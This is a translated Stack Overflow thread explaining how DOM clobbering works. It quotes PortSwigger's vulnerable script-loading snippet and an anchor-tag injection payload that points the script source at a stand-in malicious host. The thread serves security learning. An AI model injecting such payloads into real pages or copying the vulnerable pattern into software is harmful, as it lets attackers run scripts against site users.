DOM覆盖(DOM Clobbering)及其工作原理

4

我对DOM Clobbering这个主题有一些问题:

Portswigger的解释如下:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

为利用这个有漏洞的代码,您可以注入以下HTML以使用锚元素击败someObject引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

由于两个锚元素使用相同的ID,DOM将它们分组存储在一个DOM集合中。然后,DOM覆盖向量使用此DOM集合重写了someObject引用。最后一个锚元素上使用name属性以覆盖someObject对象的url属性,该属性指向一个外部脚本。

我的理解是:

具有ID为someObject的锚元素存储在类似数组的结构中 - DOM集合中。

通过

var someObject = window.someObject || {};

锚元素可以通过id进行引用-某些浏览器直接存储id在window对象中(HTML元素的ID始终可从window对象获得吗?)。
但是: 这是控制台的输出: Console part 1 Console part 2 (更多关于此主题的信息也可以在这里找到:https://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b)

1
在早期,我们会编写 document.all.something 来获取具有 name="something" 的元素。这是在 getElementById() 函数出现之前的时代。DOM 集合可以使用元素名称作为键来访问。此外,HTMLAnchorElement.toString() 返回已解析的 href 值,该值在此向量中被使用。 - Niet the Dark Absol
1个回答

7

为什么name属性会覆盖URL属性呢?

因为someObject实际上是一个HTMLCollection,你可以通过元素的名称在HTMLCollection中访问命名元素。

console.log( document.getElementsByClassName("test").bar );
<div class="test" name="foo"><div><div class="test" name="bar"></div>

DOM集合与所有这些有什么关系?

注意它们确实具有相同的id属性的两个元素吗?嗯,尽管这违反了规范,但是相同的规范实际上有一个特殊规则来处理此情况,当作为window的属性访问命名元素时:specs

  1. 否则,如果对象只有一个元素,则返回该元素。
  2. 否则,返回一个以window相关文档为根的HTMLCollection,其过滤器仅匹配window的名称为name的命名对象。 (根据定义,这些都将是元素。)

我认为只有Chrome在这里尊重规范,因此在此浏览器中,如果像这样通过其id访问元素,并且有多个具有相同id的元素,则会获得HTMLCollection而不是Element:

console.log( window.foo ); // in Chrome [HTMLCollection]
<div id="foo">1</div><div id="foo">2</div>

在 window.someObject || {} 中的对象初始化器(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer) 对攻击有任何作用吗?

这只是为了避免在处理程序触发时没有此id的元素而导致出现 null,因此在这里主要是无用的。

最后一个问题:为什么 script.src = someObject.url; 会从整个锚点元素中提取href?

因为 HTMLAnchorElement.toString() 返回的是 .href 值。


最后一个问题:为什么 script.src = someObject.url; 会从整个锚元素中提取 href? - secf00tprint
1
抱歉,发布后我就离开了。这是因为<a>.toString()返回锚点的href。https://stackoverflow.com/questions/11076627/why-alert-anchorelement-a-alerts-the-href-attribute 不要问为什么,这段代码是规范积累的最糟糕的恐怖元素的编译,它很好地说明了为什么这很糟糕... - Kaiido
@Kaiido 你是在哪里学到这种东西的?我只是好奇。我找不到任何像这个答案一样有用的东西。 - edddd

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接